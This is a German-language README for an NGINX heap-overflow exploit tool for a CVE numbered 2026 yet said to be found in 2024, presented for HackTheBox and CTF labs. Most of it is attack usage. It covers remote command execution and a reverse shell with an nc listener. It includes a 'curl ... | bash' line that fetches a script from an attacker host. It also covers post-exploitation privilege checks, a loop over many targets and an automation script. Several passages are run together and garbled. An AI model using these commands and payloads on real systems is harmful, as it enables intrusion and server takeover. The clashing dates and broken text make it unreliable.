
Exploit für CVE-2026-42945
Eigenständiger Exploit für die NGINX Heap Buffer Overflow Schwachstelle, die 2024 entdeckt wurde. Diese Version ist für HackTheBox- und CTF-Umgebungen optimiert, in denen keine Docker-Container eingerichtet werden können.
CVE-2026-42945 ist ein kritischer Heap Buffer Overflow im ngx_http_rewrite_module von NGINX, der seit 2008 (Version 0.6.27) existiert. Der Fehler tritt auf, wenn:
rewrite-Direktive ? in der Ersetzung enthält (setzt is_args = 1)set-Direktive einen Teil der URI erfasstis_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# Keine zusätzlichen Python-Pakete erforderlich – nur stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Dies wird:
/api/-Endpunkt prüfenpython3 nginx_rift_helper.py --target 10.10.11.x --all
Dies führt Folgendes durch:
Einen Befehl ausführen:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
Eine Reverse-Shell erhalten:
# Zuerst Listener starten (in einem anderen Terminal)
nc -lvnp 4444
# Exploit ausführen
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# 'id'-Befehl ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# 'whoami' ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# /etc/passwd lesen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s-Struktur enthalten/api/ mit einer speziell konstruierten URI, die beim Escapen überläuftsystem() mit unserem Befehl aufDer Exploit geht davon aus, dass ASLR deaktiviert ist oder die Adressen bekannt sind. Auf HTB:
Falls ASLR aktiviert ist, kann Folgendes erforderlich sein:
Die verwundbare Konfiguration erfordert:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/Mögliche Gründe:
ASLR ist aktiviert – Adressen werden randomisiert
Andere libc-Version – system() an anderem Offset
--verbose testenVersion nicht verwundbar – Behobene Version oder andere Konfiguration
WAF/IDS blockiert – Sicherheitskontrollen vorhanden
Falscher Endpunkt – Verwendet nicht die rewrite+set-Kombination
Immer --verbose zum Debuggen verwenden:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Dies zeigt:
# Die tun0-IP finden
ip addr show tun0 | grep inet
# Diese IP für --lhost verwenden
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
Sobald der erste Zugriff besteht:
# Upgrade auf TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Terminal in den Hintergrund legen und einstellen
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Aktuellen Benutzer prüfen
id
whoami
# Nach Flaggen suchen
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Sudo-Berechtigungen prüfen
sudo -l
# SUID-Binaries prüfen
find / -perm -4000 2>/dev/null
Falls die Payload angepasst werden muss:
# Die Funktion make_body() in nginx_rift_htb.py bearbeiten
# BODY_LEN für andere Konfigurationen anpassen
# Den Overflow-String ändern (349 'A' + 969 '+')
# Eine Zielliste erstellen
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Jedes Ziel testen
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starte Listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Führe Exploit aus..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Setzt is_args=1
set $original_endpoint $1; # Allokiert basierend auf is_args=0
}